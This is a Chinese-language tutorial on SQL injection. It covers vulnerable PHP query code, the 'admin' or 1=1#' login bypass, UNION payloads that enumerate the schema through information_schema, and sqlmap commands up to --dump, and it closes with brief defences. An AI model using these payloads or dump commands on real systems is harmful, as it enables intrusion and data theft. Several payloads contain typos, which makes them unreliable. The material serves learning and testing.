SQL注入的简单例子:
使用URL:http://localhost/a.php?id=1'
在程序中,会执行下面的语句:
$id=$_GET['id'];
$sql="SELECT * FROM user WHERE id=$id' LIMIT 0,1"
执行上面的这条语句就会报错,这里如果不对URL进行判断,那么这就会导致语句的执行错误,严重的,别人就可以获取到想要的数据信息。
如何去发现SQL注入:
- 通过web漏洞扫描器发现
- 在参数后面添加错误语句
- 大量的对参数Fuzz测试
注入的分类
- 数字型注入:SELECT * FROM users WHERE id=$id LIMIT 0,1;
- 字符型注入:SELECT * FROM users WHERE username='admin' LIMIT 0,1;
- 注入提交的方式:GET,POST ,COOKIE,HTTP头部注入
注入方式
- 基于报错注入:注入错误,通过报错获取信息。
- 基于布尔的盲注
- 基于时间的盲注
- 联合查询
- 内联查询
- 堆叠的查询
常用的方式是前四种。
SQL手工注入
万能密码:PHP项目下,通过注入以下形式的sql,就能直接登陆到后台网站,而不需要密码:
admin ' or 1=1#
结合下面的SQL登陆判断
select * from user where username='$user' and passwd='$pass';
通过提交上面的字符,程序执行就会像下面这样:
select * from user where username ='admin' or 1=1 #' and password='pass'; //这样,#号后面的语句就会被注释掉,这样就绕过了程序对用户的判断。而直接以admin用户登陆
SQL注入的流程
- 猜解字段
- 查看当前数据库 ——> 猜解数据库中的表——>猜解数据库中有哪些字段
- Union select 1,group_concat(schema_name),3 from information_scheema.schemate%23 //查询所有数据库
- union select 1,group_concat(table_name),3 from information from information_schema.tables where table_schema=0x736563757269749%23 //查询数据库中的表
UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns where table_name=0x736563757269749%23 //查看当前数据库中有哪些字段。
sqlmap工具的学习
官网:http://sqlmap.org/,我们可以使用扫描器,扫描出已有的SQL注入漏洞,然后再使用该工具进行测试该漏洞。
该工具用于测试业务是否有sql注入的漏洞。
使用方法:
python sqlmap.py -u "http://your url" -v 3
-v 3表示的是sql注入的级别。为1~6,数字越大,代表了注入的时候,显示的信息越详细。
python sqlmap.py -u "http://your url" -v 3 --current-db //用于查看当前数据库的名称
python sqlmap.py -u "http://your url" -v 3 --current-users //当前数据库使用的用户和权限
python sqlmap.py -u "http://your url" -v 3 --tables -D 数据库名 //查看当前数据库中有哪些表
python sqlmap.py -u "http://your url" -v 3 --column -T 表名 -D 数据库名 //查看指定表下有哪些字段
python sqlmap.py -u "http://your url" -v 3 --dump -T 表名 -D 数据库名 //查看该表下有哪些数据。
上面的方式为GET注入的方式,下面记录以POST的方式,借助sqlmap进行注入:
借助于burpsuite,进行抓包,将抓取到的东西,保存至文档中1.txt,使用sqlmap分析该文档
python sqlmap.py -r 1.txt -v3
这样就可以对该网站进行post注入测试了。
如何防护SQL注入呢:
- CDN隐藏真是IP地址
- 通过安全函数进行过滤
- 对数据库最小权限设置,就算注入获取到该网站的数据库,其它的数据库也会很安全。
- 服务器针对性的WAF防火墙。